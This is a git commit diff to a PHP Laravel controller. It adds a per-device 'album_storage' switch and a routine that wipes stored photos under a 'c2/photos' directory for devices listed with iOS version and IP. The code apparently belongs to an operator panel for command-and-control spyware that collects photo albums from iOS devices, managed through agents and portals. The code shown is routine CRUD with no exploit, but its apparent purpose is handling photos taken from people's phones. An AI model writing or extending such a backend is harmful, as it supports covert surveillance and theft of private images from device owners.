feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
@@ -59,6 +59,7 @@ class DeviceController extends Controller
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
@@ -143,6 +144,69 @@ class DeviceController extends Controller
->header('Content-Type', $mime);
}
public function update(Request $request, Device $device)
{
$this->authorizeDevice($device);
$data = $request->validate([
'album_storage' => ['required', 'integer', 'in:0,1'],
]);
$device->album_storage = (int) $data['album_storage'] === 1;
$device->save();
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $device->id,
'album_storage' => $device->albumStorageEnabled() ? 1 : 0,
],
]);
}
public function clearPhotos(Device $device)
{
$this->authorizeDevice($device);
$photos = $device->photos()->get(['id', 'path']);
$deletedFiles = 0;
foreach ($photos as $photo) {
$path = trim((string) ($photo->path ?? ''));
if ($path === '') {
continue;
}
if (Storage::disk('local')->exists($path)) {
Storage::disk('local')->delete($path);
$deletedFiles++;
}
}
$deletedRows = $device->photos()->delete();
$dir = 'c2/photos/'.$device->device_id;
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
// older flysystem without directoryExists — best-effort wipe
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
}
private function authorizeDevice(Device $device): void
{
if ($agent = $this->agent()) {